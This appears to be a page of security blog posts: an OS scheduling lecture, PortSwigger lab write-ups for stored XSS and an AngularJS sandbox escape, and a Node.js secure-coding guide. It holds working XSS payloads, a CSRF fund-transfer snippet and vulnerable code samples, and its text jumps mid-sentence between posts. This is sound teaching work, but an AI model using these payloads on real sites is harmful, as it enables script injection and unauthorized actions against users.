BreachForce | Blog for InfoSec Enthusiasts

Lecture 4 - Rediscovering Process Scheduling [Part - 1]

Rehan Shaikh — Sun, 28 Dec 2025 12:59:36 GMT

Disclaimer

⚠️ Where the Scheduler whispers, processes tremble — for it decides who runs… and who fades into starvation.

The following content ventures into the ticking heart of the OS — where time slices are bargained, queues grow restless, and scheduling algorithms silently wage war to minimize the average waiting time of every process.

Students and beginners, tread carefully — the Scheduler watches every move, counts every cycle, and never forgets who waited longest.

In this OS series, the focus remains on the Operating System (software context) components, not the hardware mechanics beneath them. (For the hardware side of CPU pipelines, caches, and context-switch machinery, refer to computer architecture.)

Special Thanks

Heartfelt gratitude to Mr. Adhakshoj Mishra Ji for his insightful session and for reviewing this blog.

A sincere thanks as well to the BreachForce Community Members for sharing their valuable notes, and to the BreachForce Community Volunteers for helping collate and refine this content.

Preface

In the last blog, we explored how Privileged Mode emerged inside our MMU — how we designed SPI, MSRs, and dedicated interrupt handlers to enforce strict control, protect critical system state, and ensure the kernel always remained safely isolated from user processes.

In this blog, we’ll uncover the depths of process scheduling by walking through a series of problems and exploring their possible solutions. As we refine each idea, we’ll naturally encounter subtle design caveats—tiny scheduling dilemmas that demand their own mini-solutions. Through these iterations, we’ll slowly sculpt and evolve our vision of what an ideal scheduler should look like.

Important Terminologies

Process: A program in execution with its own memory space.
Task: A generic term that may refer to either a process or a thread, depending on the OS design.

In this blog, the words process and task will be used interchangeably.
Job: A job is a unit of work submitted to the operating system for execution, typically representing a process before it enters the ready queue.
CPU Cycle: The smallest unit of time in which the CPU performs operations; scheduling algorithms often treat each cycle (or a group of cycles) as the basic time quantum for executing processes.
Waiting Time: The total time a process spends in the ready queue waiting before it gets CPU time for execution. It excludes actual CPU run time and I/O time
Process Queue: A data structure used by the operating system to organize and manage processes based on their current state - such as the ready, waiting/blocking, or **terminated -**allowing the scheduler to decide which process should run next.

Process Scheduling

In the 1980s, computers were extremely expensive, and computational resources were limited. The primary goal was to complete as many tasks as possible using the available hardware efficiently.
When designing an Operating System, our focus should revolve around two key aspects:
- Accuracy of the Program: This responsibility lies with the developer. The program running on the CPU is assumed to be tested, verified, and trusted by users. The OS does not alter program logic; it simply executes it.
- Efficiency of the Program: This refers to minimizing the total time a process takes to complete. Higher efficiency allows the CPU to perform more work in less time.
To increase efficiency, we aim to complete tasks in the shortest possible time.
To achieve this, we must minimize the waiting time of processes during scheduling and context switching, because freeing the CPU as soon as possible allows more tasks to be completed.
This is why we design a Process Scheduling Algorithm, supported by a process queue, to ensure that tasks are executed efficiently and system resources are utilized optimally.

Problem - How to reduce overhead while executing processes?

When multiple processes run concurrently, the system eventually reaches a point where it must pause accepting new processes so that the currently running ones can complete.
Beyond this saturation point, the OS can no longer accommodate new processes in the process queue without degrading performance.
Therefore, our goal is to determine a threshold - after how many processes should the scheduler temporarily stop accepting new tasks to prevent system overload.
To better understand this problem, consider the following analogy:
- Why are NEFT and RTGS transactions processed in batches, while IMPS transactions are processed instantly - even though the underlying transaction data is essentially the same?

Solution - Batch them at once

For any running process, we generally encounter two scenarios:
- Case 1: The preparation time for the process is negligible (i.e., the overhead is minimal). In this case, we can process tasks immediately as they arrive.
- Case 2: There is significant overhead associated with preparing or validating the process (for example, correlating data with other fields before execution).
If there is no overhead, we follow the Case (1) approach: execute processes as they come.
However, if the overhead is substantial—as in Case (2)—then whether we run 100 processes or 1000 processes, the preparation overhead remains roughly the same.
In such situations, it becomes more efficient to batch all the operations together and handle the overhead once rather than repeatedly.
This is exactly why banks use the NEFT/RTGS approach.
Batching reduces overhead, improves efficiency at scale, and prevents system overload caused by continuous individual requests.

Problem — How do we implement batching in Process Scheduling?

Before proceeding, let us assume:
- We have a single computer with one CPU, one RAM module, and one storage device.
- We have a list of jobs that need to be executed.
The key question is: What is the most efficient way to execute these jobs?

Solution — Implement First Come First Served (FCFS)

For the jobs we want to execute, two major scenarios arise:
- Case 1: Jobs have little to no preparation overhead.
  - In this situation, we can execute jobs immediately as they arrive.
  - This approach is known as the First Come First Served (FCFS) scheduling algorithm.
- Case 2: Jobs have significant preparation overhead, but the overhead does not depend on how many jobs are being processed (assuming the jobs are similar).
  - In this case, it is more efficient to batch the jobs and handle the overhead only once.
  - After batching, we can run FCFS on the batch itself.
  - Example: NEFT and RTGS transactions in banks — they are processed in bulk to minimize repeated overhead.
There are two ways to perform batching:
- Method 1: Time-based batching
  - Wait for a fixed time window.
  - All processes that arrive during this window are grouped into a batch and executed together.
- Method 2: Count-based batching
  - Wait until a minimum number of jobs arrive.
  - Once the threshold is reached, batch them and execute them at once.
For simplicity, let us choose Method 1 (time-based batching).
Assume a batching window of 15–30 minutes.
When batching is used, the order of jobs inside the batch does not matter, because the entire batch will take the same overhead time and be processed together (e.g., a fixed 10-minute overhead).

Problem — How to Reduce Average Waiting Time?

The main challenge here is: How do we reduce the average waiting time of all jobs?
Why do we care about minimizing average waiting time?
- It improves overall user experience.
- It provides a competitive marketing advantage (faster systems feel better).
- The end-user does not understand OS internals — they only perceive how long things “feel.”
Let us consider three jobs with the following execution times:
- J1: 5 minutes
- J2: 3 minutes
- J3: 2 minutes
- Total execution time: 10 minutes (this value will remain constant regardless of ordering)
The question now becomes: How can we reduce the average waiting time of these three jobs?

Solution — Implement Shortest Job First (SJF)

We can reduce waiting time by reordering the jobs intelligently instead of running them in the order they arrive.
Using the earlier example, consider the following two possible orderings:
- Ordering 1: J1 → J2 → J3
  - Waiting times
    - J1 = 0
    - J2 = 5
    - J3 = 8
  - Average waiting time
    - (0 + 5 + 8) / 3 = 13 / 3 ≈ 4.3 minutes → 4 minutes (approx)
- Ordering 2: J2 → J3 → J1
  - Waiting times
    - J2 = 0
    - J3 = 3
    - J1 = 5
  - Average waiting time
    - (0 + 3 + 5) / 3 = 8 / 3 ≈ 2.67 minutes → 3 minutes (approx)
Notice that in both cases, the total execution time remains the same: 10 minutes.
But by simply reordering the jobs, we significantly reduce the average waiting time.
Therefore, the optimal strategy is to execute shorter jobs first.
This leads us to our second scheduling algorithm:
- Shortest Job First (SJF)
  - An algorithm that minimizes average waiting time by always selecting the job with the shortest execution time.
If larger jobs run first, smaller jobs end up experiencing unnecessarily long waiting times.
Reorder the jobs so that smaller jobs execute first, thereby reducing the waiting time for larger jobs. This is the essence of the Shortest Job First (SJF) algorithm.
But the Shortest Job First has some caveats. Let’s understand them one by one using a question-answer methodology.

Question 1 - When can SJF reduce the average waiting time?

Answer

In all cases except one:

When all jobs require the same amount of time, every ordering results in the same waiting time.

Otherwise, SJF always reduces the average waiting time.

Question 2 - Is there any other scheme that guarantees the shortest average waiting time?

Answer

Currently, none apart from SJF.

SJF is mathematically proven to produce the optimal (minimum possible) average waiting time.

Take-home assignment:

Prove that SJF yields the minimum average waiting time among all deterministic scheduling strategies.

Question 3 - Can we estimate waiting time without knowing the actual value?

Answer

Yes.

We can estimate execution time based on CPU cycles required by the job.

Question 4 - How do we estimate execution time beyond CPU cycles?

Answer

By counting the total number of CPU instructions the job must execute.

Question 5 - How do loops and control statements affect this estimation?

Consider two jobs, J1 and J2, both with:

Same number of instructions
Same number of loops

How do we determine which one will take more time to execute?

Answer

We cannot know without actually running them.

This is fundamentally limited by the Halting Problem -

We cannot predict a program’s exact runtime or behavior in all cases without executing it.

Thus, runtime estimation becomes impossible for arbitrary programs.

Question 6 - Consider a simpler case:

Two jobs J1 and J2 with:

Same number of instructions
No loops
No branching

Will they take the same time? or different time? or something else will occur?

Answer

Not guaranteed.

Runtime can differ due to:

Presence of I/O instructions
Location of the file being accessed
Type of storage device (SSD, HDD, tape, RAM disk, etc.)
Storage latency and hardware constraints

In short: CPU instruction count alone is not enough to determine execution time.

Conclusion

If I/O is involved, predicting execution time becomes uncertain.
That means SJF will only be applicable on operations which are very defined for which we know how much time it will take for the job to complete.
That means for general purpose instructions where time taken to complete the job is not defined, SJF will fail.
Therefore. SJF can only be implemented on jobs where time taken to complete is fully defined.
Now for process scheduling we need new algorithm which can satisfy the following cases:
- Case 1: It should not be dependent on waiting time of job.
- Case 2: The overall performance of the algorithm should not be negatively impacted if a job takes too much time to execute (i.e. the waiting time of a job increases).
Only then can an OS handle general-purpose computing instead of specialized workloads.

Coming Up Next

In the next lecture, we will study the Round Robin (RR) algorithm, its caveats, and approaches to fixing them.
We will then explore how scheduling works in Modern Operating Systems, including:
- Feedback loops
- Priority queues

Additional Context

Processes often do not know their exact memory requirements in advance. They receive a fixed virtual address space, but must manage it carefully using:
- Memory allocators
- Garbage collectors
- Kernel/user memory boundaries
Additionally, the OS may overcommit memory and must use mechanisms like the OOM-Killer to maintain system stability.
The primary goals are:
- Ensuring safe memory usage
- Avoiding unnecessary process termination

PortSwigger XSS Lab: Stored XSS

Rehan Shaikh — Wed, 26 Nov 2025 07:30:38 GMT

Description

This lab contains a stored cross-site scripting vulnerability in the comment functionality.

Task

To solve this lab, submit a comment that calls the alert function when the comment author name is clicked.

Methodology

Add the Target URL in Burpsuite Scope
This is our target website
As per the description, the XSS vulnerability is present in the comment section
Click on any post. Scroll down to the comment section. Open the dev console.
Lets add a new comment in the comment section of the blog as shown in the below image
After that, go back to the blog to view the newly added comment
Lets check the comment author name where the XSS vulnerability might be present
Analyze the comment author name and view its code in the inspector tab
As seen in the above image, the href attribute stores the Website form parameter. It stores them as a hyperlink (which is clear from the tag)

If we click on the comment author name, we would be redirected to the hyperlink inside the href attribute

So, if we want to trigger XSS, we have to store the payload inside the href attribute

Here, we can use the concept of Hierarchical and Non-Hierarchical URLs

Hierarchical URL:

They follow the structure scheme://authority/path?query#fragment

Example: https://example.com/path/to/page

Non-Hierarchical URL:

No //authority part — structure depends entirely on the scheme definition.

Example: javascript://

Note: A short summary will be given for the concept of Hierarchical and Non-Hierarchical URLs above. For further explanation, kindly visit the bottom of the current page

We can use the javascript:// - non-hierarchical URL to run inline JavaScript code. It’s used to execute JavaScript directly when a link or address bar is used.
- Example:
```
  javascript:alert('Hello World');
```
- When this URL is visited (for example, in a browser address bar or ), the browser executes the JavaScript code instead of loading a page.

Using the above information, we will now create the below XSS payload

  javascript:alert(1);

Lets add this payload inside the Website link form parameter by creating a new comment. Click on the Post Comment button

As soon as we submit the comment, we can see a notification that we have successfully solved the lab

Lets try to invoke the XSS payload stored inside the href attribute of the comment author name inside the tag

We will go back to the blog and analyze the author name hyperlink

As seen in the above image, the Stored XSS Payload has successfully saved inside the href attribute

To invoke the payload, click on the comment author name Wolf3

We have successfully triggered Stored XSS on the target website

Using the above payload, we have used the non-hierarchical URL javascript:// to run inline javascript code inside the href attribute of the tag belonging to the comment author name. Thereby, executing a Stored XSS on the target website

Hierarchical v/s Non-Hierarchical URL

URL classification in RFC 3986

According to RFC 3986 (Uniform Resource Identifier: Generic Syntax),

URLs (URIs) can be broadly categorized as:

Type	Example	Hierarchical?	Explanation
Hierarchical	`https://example.com/path/to/page`	✅ Yes	They follow the structure `scheme://authority/path?query#fragment`.
Non-hierarchical	`mailto:logan@example.com`	❌ No	No `//authority` part - structure depends entirely on the scheme definition.

Structure of a hierarchical URL

Hierarchical URLs have this general pattern:

://?#

Example:

//example.com/blog/article?id=10#comments>

Here:

scheme = https

authority = example.com
path = /blog/article
query = id=10
fragment = comments

Because of this structured layout, these URLs can be resolved relative to one another, e.g.,

/blog/article relative to https://example.com → hierarchical traversal is possible.

Structure of a non-hierarchical URL

Non-hierarchical URLs omit the authority and path entirely.

They don’t follow the // or / folder structure.

Instead, the content after the scheme is directly defined by that specific protocol’s syntax.

Examples:

Scheme	Example	What it means
`mailto:`	`mailto:logan@example.com`	Open default email client to send mail to that address
`tel:`	`tel:+919999999999`	Open phone dialer with number
`data:`	`data:text/plain;base64,SGVsbG8=`	Embed inline data (e.g., text, image)
`javascript:`	`javascript:alert('XSS')`	Execute inline JavaScript in browser context

All of these are defined independently of hierarchical syntax — they don’t have //authority or path.

How browsers parse non-hierarchical URLs

When a browser sees a URL:

scheme:something

it checks whether the scheme’s definition uses hierarchical syntax or non-hierarchical syntax.

If the scheme is non-hierarchical, the browser:

Skips the authority and path parsing steps.
Passes the rest of the text (after the colon) directly to that protocol’s handler.
Executes the handler defined in the browser or OS.

Example breakdown

`mailto:logan@example.com`

Scheme: mailto
Remainder: logan@example.com
Browser action: Open mail client with “To” filled in.

`javascript:alert(1)`

Scheme: javascript
Remainder: alert(1)
Browser action: Execute code in page context.

Security considerations

Because non-hierarchical schemes bypass normal navigation and go straight to browser handlers:

javascript: can lead to XSS or bookmarklet abuse.
data: can embed inline malicious payloads.
mailto: and tel: can be used in phishing/social engineering.

Hence, modern browsers restrict them:

Many contexts block javascript: URLs (inside iframe, a href in sandboxed pages, etc.).
CSP (Content Security Policy) can disable javascript: entirely via script-src.

PortSwigger XSS Lab: DOM XSS in AngularJS

Rehan Shaikh — Mon, 24 Nov 2025 06:10:29 GMT

Description

This lab contains a DOM-based cross-site scripting vulnerability in a AngularJS expression within the search functionality.

AngularJS is a popular JavaScript library, which scans the contents of HTML nodes containing the ng-app attribute (also known as an AngularJS directive). When a directive is added to the HTML code, you can execute JavaScript expressions within double curly braces. This technique is useful when angle brackets are being encoded.

Task

To solve this lab, perform a cross-site scripting attack that executes an AngularJS expression and calls the alert function.

Methodology

Add the Target URL in Burpsuite Scope
Lets identify the framework and its version for the current website
As seen in the above image, the website is running AngularJS 1.7.7
AngularJS below 1.7.8 and above 1+ use the $scope method which is used to bind data between controller and view (DOM)
It plays a key role in the two-way data binding mechanism.
When a controller sets values on $scope, all DOM elements that use that controller automatically get access to those properties and methods.
$scope follows a prototypal inheritance model.

Note: AngularJS evaluates expressions in the context of $rootScope if no controller binding exists.

Any property or methods defined in the controller is accessible to the DOM elements inside that controller’s scope.
The catch is

Even if no properties are explicitly bound in the DOM, the DOM nodes (via AngularJS directives like ng-controller, ng-repeat, etc.) are still under the influence of the $scope object from the controller.
So, even if a DOM node doesn’t use any {{ expression }} or directive, the scope still applies and exists for it — it's just not visible until you tap into it.
Because of JavaScript’s prototypal inheritance, any HTML node under an AngularJS controller:
- Gets associated with a scope object, and
- That scope object inherits from $rootScope, which provides built-in methods like:
  - $eval()
  - $on()
  - $watch()
  - $emit()
  - $broadcast()
Even if the DOM element doesn't use {{ }} or bind any model, as long as it's within the controller's scope, it inherits those scope methods through the prototype chain.
Based on this logic, let us construct our payload
```
  {{ $on.constructor('alert(1)')() }}
```
- $on is a function (defined on the prototype of $rootScope).
- In JavaScript, all functions are objects, and all function objects have a .constructor property.
- So when you do:
```
  $scope.$on.constructor
```
- You're accessing the .constructor property of the $on function object
- This returns the native Function constructor:
```
  console.log($scope.$on.constructor === Function); // ✅ true
```
- $on.constructor('alert(1)') — Evaluates to a function equivalent to new Function('alert(1)')
- (): Immediately invokes that function
- Because, In JavaScript, functions are first-class objects, and you can:
  - Create a function dynamically (e.g., via Function constructor)
  - Call it immediately using () — even in the same line
Let’s execute the payload in the search bar of the website
After successful execution of the JS exploit, the lab will be solved
Using the above payload, we were able to leverage prototypal inheritance in JavaScript to access the $on method, retrieve its .constructor (which points to the native Function constructor), and dynamically create a new global function.
By appending () at the end, we immediately invoked the generated function, which executed the alert() call — resulting in an alert popup, all within a single line of code.
In summary, AngularJS expressions can be abused when user-controlled data is processed by the Angular template engine. By leveraging prototype inheritance and accessing the Function constructor through $on.constructor(), an attacker can escape AngularJS sandboxing and execute arbitrary JavaScript.

Remediation

Use AngularJS 1.8.0+ patched sandbox
Disable expression evaluation (strictContextualEscaping)
Use Content Security Policy (CSP)
Sanitize user input before rendering

Sandboxing in AngularJS

Why `{{ }}` Is Used in AngularJS

AngularJS uses double curly braces ({{ }}) for expression binding, also known as interpolation.

This syntax allows dynamic values to be inserted into the DOM based on JavaScript expressions evaluated by AngularJS. It enables the view (HTML) to reactively display data managed by the controller.

Example:

Hello {{ username }}!

If $scope.username = "Logan" in the controller, AngularJS replaces the placeholder dynamically with:

Hello Logan!

It can also evaluate JavaScript expressions:

{{ 2 + 2 }}           → 4
{{ username.toUpperCase() }} → LOGAN

Key points:

{{ }} acts like a safe, mini expression parser.
It updates automatically when scope values change (two-way binding).
It avoids writing full "; res.send(`User comment: ${userInput}`);
If user input is rendered directly, any JavaScript included by the attacker will execute when the page loads in a user’s browser.

Good Code Practice
```
// Good: Using a library to escape HTML characters
const escape = require('escape-html');
const userInput = "";
res.send(`User comment: ${escape(userInput)}`);
```
Why This Works

Using a library like escape-html ensures that any HTML tags in user input are treated as plain text, preventing them from being executed as scripts.

3. Insecure Direct Object References (IDOR)

IDOR (Insecure Direct Object Reference) occurs when a user can access resources or objects directly by manipulating input values such as URL parameters without proper authorization checks. While this vulnerability is commonly found in URL parameters, it can also occur in other parts of a request, such as form inputs, headers, or cookies, wherever user input is used to directly reference resources without validation.

How It Affects Your System

IDOR can expose sensitive data to unauthorized users, such as accessing another user’s profile or viewing confidential documents.

Example Scenario

Imagine an endpoint where users can view their profile:
```
// Bad: Allowing direct access to user IDs without checks
app.get('/profile/:userId', (req, res) => {
  const userId = req.params.userId;
  User.findById(userId, (err, user) => {
    res.json(user);
  });
});
```
An attacker could alter the userId parameter to access other users’ data:
```
https://api.example.com/profile/12345
```
Good Code Practice
```
// Good: Verifying that the authenticated user can access the requested resource
app.get('/profile/:userId', (req, res) => {
  const userId = req.params.userId;
  if (req.user.id !== userId) {
    return res.status(403).send('Access Denied');
  }
  User.findById(userId, (err, user) => {
    res.json(user);
  });
});
```
Why This Works

By checking that the authenticated user’s ID matches the requested userId, we ensure that users can only access their own data.

4. Denial-of-Service (DoS) Vulnerabilities

Denial-of-Service (DoS) attacks aim to overwhelm a server with a high volume of requests, consuming its resources like bandwidth, CPU, and memory, which makes the server unavailable to legitimate users. This can be particularly damaging to public APIs or services, leading to a degraded user experience due to downtime and potentially causing significant financial losses, such as disrupted services and lost revenue. Unlike standard DoS attacks that originate from a single source, Distributed Denial-of-Service (DDoS) attacks involve multiple systems, making them even harder to mitigate and more destructive. For example, an e-commerce website facing a DoS attack during peak shopping seasons might experience outages, resulting in lost sales and a tarnished reputation.

How It Affects Your System

DoS attacks can severely impact the performance and availability of your application. They may cause your server to slow down, making it difficult for legitimate users to access your services, or even render your application completely unresponsive. The increased load can exhaust server resources like memory, CPU, and network bandwidth, leading to system crashes or forced restarts. This kind of disruption can result in lost revenue, especially if your application is critical to business operations. Additionally, prolonged unavailability can damage your brand’s reputation, erode customer trust, and incur costs for mitigation and recovery.

a) Example Scenario: Missing Payload Size Limitation (Vulnerable to Large Payload Attack)

Consider an endpoint that processes large JSON payloads:
```
// Bad: No size limit on JSON payloads
app.post('/data', (req, res) => {
  const data = req.body;
  // Process data without validation
  res.send('Data processed');
});
```
An attacker could send an enormous payload, causing the server to run out of memory and crash.

Good Code Practice: Payload Size Limitation
```
// Good: Limiting payload size
const express = require('express');
const app = express();

app.use(express.json({ limit: '1mb' })); // Limit payload to 1MB

app.post('/data', (req, res) => {
  const data = req.body;
  // Process data
  res.send('Data processed');
});
```
Why This Works

By setting a size limit for incoming JSON payloads, you prevent attackers from overwhelming your server with large requests.

b) Example Scenario: Missing Rate Limiting (Vulnerable to Request Flood Attack)

Another way DoS attacks can occur is when your server is overwhelmed with requests from multiple sources without proper rate limiting. An attacker could flood the endpoint with requests, which may crash the server or significantly slow down its performance.

Good Code Practice: Adding Rate Limit
```
// Good: Adding rate limit
const rateLimit = require('express-rate-limit');

const limiter = rateLimit({
  windowMs: 1 * 60 * 1000, // 1 minute
  max: 100, // Limit each IP to 100 requests per window
});

app.use(limiter); // Apply the rate limiting middleware

app.post('/data', (req, res) => {
  const data = req.body;
  // Process data
  res.send('Data processed');
});
```
Why This Works

Rate limiting helps mitigate excessive requests from a single source, preserving server resources and maintaining application availability. By implementing this measure, you ensure that legitimate users can access the service without interruption.

c) Example Scenario: Vulnerable to Regular Expression Denial of Service (ReDoS)

A ReDoS attack exploits the fact that certain regular expressions can take an exponential amount of time to evaluate when applied to maliciously crafted input, effectively causing the system to hang or enter a "pause" mode. This is particularly dangerous if the regex is used for input validation in an API that accepts user input.
```
// Bad: Vulnerable regex pattern
const regex = /^(a+)+$/;

app.post('/validate', (req, res) => {
  const { input } = req.body;
  if (regex.test(input)) {
    res.send('Valid input');
  } else {
    res.send('Invalid input');
  }
});
```
An attacker could submit a string like "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!", which can cause the regex engine to backtrack excessively, resulting in high CPU usage and making the server unresponsive.

Good Code Practice: Using Safe Regular Expressions
```
// Good: Using a safer regex pattern or limiting input length
const safeRegex = /^a{1,100}$/; // Limits 'a' repetitions to a safe range

app.post('/validate', (req, res) => {
  const { input } = req.body;

  // Alternatively, limit input length before testing with regex
  if (input.length > 100) {
    return res.status(400).send('Input too long');
  }

  if (safeRegex.test(input)) {
    res.send('Valid input');
  } else {
    res.send('Invalid input');
  }
});
```
Why This Works

By using safer regex patterns or limiting input length, you can avoid the risk of excessive backtracking that can lead to ReDoS attacks. This keeps the server responsive and protects against unexpected resource exhaustion.

5. Improper Authentication and Authorization

Improper Authentication and Authorization occur when an application does not correctly verify the identity of users or their permissions.

How It Affects Your System

Weak authentication mechanisms can lead to unauthorized access, allowing malicious users to exploit sensitive areas of your application. This can result in data breaches, unauthorized data manipulation, and overall compromise of user trust.

Example Scenario

Consider a login endpoint:
```
// Bad: Using predictable tokens for authentication
const token = req.headers['authorization'];
if (token === '12345') {
  // Grant access
}
```
This approach allows anyone who knows the token to gain access or any attacker who is able to brute-force it. The predictability of the token ('12345') means that an attacker can easily guess or automate attempts to gain access, leading to serious security vulnerabilities.

Brute-forcing the token is alarmingly simple. Given that the token is a short numeric string, an attacker could employ a basic script to iterate through all possible combinations (e.g., from 00000 to 99999). This would require only a few seconds or minutes, depending on the attacker's hardware and the implementation of any rate-limiting or lockout mechanisms in the application.

Good Code Practice
```
// Good: Using JWT for secure authentication
const jwt = require('jsonwebtoken');
require('dotenv').config();

// Load secret key from environment variable
const secretKey = process.env.SECRET_KEY; 

// Middleware to verify JWT token
function verifyToken(req, res, next) {
  const token = req.headers['authorization'];
  if (!token) return res.status(403).send('Forbidden');

  jwt.verify(token, secretKey, (err, decoded) => {
    if (err) return res.status(403).send('Invalid token');
    req.user = decoded; // Attach user info to request
    next();
  });
}

// Protected route example 
// verifyToken will be called as it is one of the middleware now
app.get('/protected', verifyToken, (req, res) => {
  res.send(`Welcome user with ID: ${req.user.id}`);
});
```
Why This Works

Using JSON Web Tokens (JWTs) [jsonwebtoken] provides a secure and verifiable method of authenticating users because they encapsulate all necessary user information in a self-contained format. JWTs are signed, ensuring integrity and authenticity, which prevents tampering. They also support expiration times, limiting access duration and reducing security risks. Additionally, JWTs can carry custom claims for flexible role-based access control and are suitable for cross-domain applications. This combination of features enables efficient, stateless authentication while ensuring that only authorized users can access protected resources.

6. Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) is an attack that tricks a user into executing unwanted actions on a web application where they are authenticated. The attack relies on the victim’s browser being tricked into sending a request to the web application using the victim’s active session or credentials.

How It Affects Your System

CSRF attacks can result in unauthorized actions being performed on behalf of authenticated users. This can include actions like changing account settings, making transactions, or even stealing sensitive information by tricking the user into making requests they never intended to.

Example Scenario

Imagine a banking application where a user can transfer funds by visiting a specific URL:
```
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="amount" value="1000">
  <input type="hidden" name="to" value="attacker_account">
  <button type="submit">Transferbutton>
form>
```
An attacker could trick a user into submitting this form by embedding a malicious element on their own website. The attacker’s malicious page could contain the following HTML:
```
<img src="https://bank.com/transfer?amount=1000&to=attacker_account" style="display:none">
```
If the victim is logged into their banking application, simply visiting the attacker’s page will trigger this hidden request, resulting in the transfer of funds without the user’s consent. This attack is possible if the banking application incorrectly accepts GET requests for state-changing actions, such as transferring funds.

Good Code Practice

To protect against CSRF attacks, you can implement anti-CSRF tokens. This involves adding a token to forms and validating it on the server side:
```
// In your form rendering logic
const csrfToken = generateCsrfToken(); // Generate a CSRF token
res.send(`
    
  
    ${csrfToken}">
    
    
    
  
`);
```
On the server side, verify the CSRF token before processing the request:
```
app.post('/transfer', (req, res) => {
  const { csrf_token } = req.body;
  if (!isValidCsrfToken(csrf_token)) {
    return res.status(403).send('Invalid CSRF token');
  }
  // Proceed with fund transfer
});
```
Why This Works

By requiring a valid CSRF token for state-changing requests, you ensure that only legitimate requests originating from your application can be processed. Additionally, using POST instead of GET for state changes is crucial, as it prevents attackers from triggering unintended actions through simple image tags or links. Leveraging frameworks with built-in CSRF token protection (using tokens in headers or as POST parameters) further enhances security against CSRF attacks.

Additional Mitigation Tips
1. Use POST for State-Changing Requests: Ensure that any action that modifies data (like transfers or account changes) only accepts POST requests. GET requests should be reserved for retrieving data, not for making changes.
2. Implement SameSite Cookies: Setting the SameSite attribute on cookies can help to prevent them from being sent with cross-site requests, reducing the risk of CSRF.
3. Verify the Origin or Referer Headers: As an additional layer, check the Origin or Referer headers to ensure that the request comes from your domain.
7. Using eval()

The eval() function executes a string of JavaScript code in the context of the current execution environment. If user input is passed to eval() without proper validation, it can lead to serious security vulnerabilities.

How It Affects Your System

Using eval() with untrusted data can allow attackers to execute arbitrary code, potentially compromising the entire application.

Example Scenario
```
// Bad: Using eval with user input
const userInput = "2 + 2"; // Attacker could input malicious code
const result = eval(userInput); // Executes the input as code
console.log(result); // This will log 4 if input is safe, but can execute anything else
```
If an attacker provides input like alert('Hacked!'), it will execute that code, leading to unwanted behavior.

Good Code Practice

Instead of using eval(), consider safer alternatives like Function constructor or libraries designed for evaluating mathematical expressions:

NOTE: Although the Function constructor is sometimes suggested, it is not recommended for production code due to similar risks.
```
// Good: Avoid using eval
const safeEval = (input) => {
  if (/^[0-9+\-*\/\s()]*$/.test(input)) {
    return new Function(`return ${input}`)(); // Only allow safe mathematical expressions
  } else {
    throw new Error('Unsafe input detected');
  }
};

const result = safeEval("2 + 2"); // Safe evaluation
console.log(result); // Outputs 4
```
Why This Works

Using the Function constructor is still risky and is categorized as Direct Dynamic Code Evaluation, which can lead to eval Injection attacks if user input is not strictly validated. Although it limits the scope of execution compared to eval(), it can still allow the execution of arbitrary code if misused.

8. Loose Comparisons (Type Juggling)

Using loose equality comparisons (==) instead of strict equality (===) can lead to unexpected behaviour in your application. This is often referred to as type juggling, where JavaScript automatically converts one or both operands to a common type before performing the comparison. Type juggling can be exploited in attacks, leading to security vulnerabilities.

How It Affects Your System

Loose comparisons may allow for type coercion, leading to bugs and potential security vulnerabilities if unexpected types are compared.
```
console.log(0 == '0');      // true
console.log(false == '0');  // true
console.log(null == undefined); // true
```
Example Scenario
```
// Bad: Loose comparison leading to security flaw
const userRole = 'admin'; // This is the role assigned to the user

if (userRole == 'admin') {
  console.log('Access granted'); // Expected behavior
} else {
  console.log('Access denied');
}

// Now, a low-privilege user might manipulate their role with unexpected input
const manipulatedRole = '0'; // An unexpected input that can be coerced

if (manipulatedRole == false) {
  console.log('Access granted'); // This will incorrectly grant access
} else {
  console.log('Access denied');
}
```
This can lead to situations where unexpected input is considered valid due to type coercion.

Good Code Practice
```
// Good: Using strict equality to avoid type coercion
const userRole = 'admin'; // This is the role assigned to the user

if (userRole === 'admin') {
  console.log('Access granted'); // Expected behavior
} else {
  console.log('Access denied');
}

// Even if a user tries to manipulate their role with unexpected input
const manipulatedRole = '0'; // An unexpected input that will not match

if (manipulatedRole === false) {
  console.log('Access granted'); // This will NOT grant access
} else {
  console.log('Access denied'); // Correctly denies access
}
```
Why This Works

Strict comparisons ensure that both the type and value must match, preventing unexpected type coercion.

9. Unvalidated Redirects and Forwards

Unvalidated redirects and forwards occur when an application allows users to redirect to external URLs or forward to other internal resources without proper validation. This can lead to security vulnerabilities where attackers can exploit these features to redirect users to malicious sites or perform unwanted actions within the application. This vulnerability is also known as open redirection.

How It Affects Your System

Unvalidated redirects and forwards can expose your users to various risks, such as phishing and malware attacks. When users are redirected to untrusted or malicious sites, they may unknowingly provide sensitive information to attackers, believing they are interacting with your legitimate application. This can result in identity theft, loss of credentials, and unauthorized access to user accounts. Furthermore, if your application is exploited to facilitate such attacks, it can harm your reputation and user trust, leading to a decline in user engagement and potential legal repercussions.

In addition, internal forwards without validation can allow attackers to access restricted areas within your application or bypass authorization checks. This could lead to data breaches or unauthorized actions within your application, making it crucial to validate redirect and forward requests properly.

Example Scenario
```
// Bad: Redirecting without validation
app.get('/redirect', (req, res) => {
    const redirectUrl = req.query.url; // No validation on the URL
    res.redirect(redirectUrl); // Redirects to any URL
});
```
If a user clicks on a link like https://yourapp.com/redirect?url=https://malicious-site.com, they will be redirected to a malicious site, potentially exposing them to phishing attacks or malware.

Good Code Practice

To mitigate this risk, it is essential to validate the redirect URL. Moreover, you should ensure that all allowed URLs use HTTPS to prevent downgrade attacks.
```
// Good: Validating the redirect URL
const allowedUrls = ['https://trusted.com'];
app.get('/redirect', (req, res) => {
    const url = req.query.url;
    if (!allowedUrls.includes(url)) {
        return res.status(400).send('Invalid URL');
    }
    // Ensure the URL starts with HTTPS to prevent downgrade attacks
    if (!url.startsWith('https://')) {
        return res.status(400).send('URL must use HTTPS');
    }
    res.redirect(url);
});
```
Why This Works

Validating the redirect URL prevents attackers from redirecting users to malicious sites. By maintaining a whitelist of allowed URLs, you ensure that users can only be redirected to trusted locations, mitigating the risk of phishing and other attacks that exploit unvalidated redirects and forwards.

10. File Upload Exploit

File upload vulnerabilities occur when an application allows users to upload files without proper validation or restrictions. This can lead to malicious files being uploaded and executed on the server, potentially leading to data breaches or server compromise.

How It Affects Your System

Attackers can exploit insecure file upload functionality to upload malicious scripts or executables that can be run on the server, gaining unauthorized access or control over the system.

Example Scenario

Consider a web application that allows users to upload profile pictures:
```
// Bad: Allowing any file type upload
app.post('/upload', (req, res) => {
    const file = req.files.picture; 
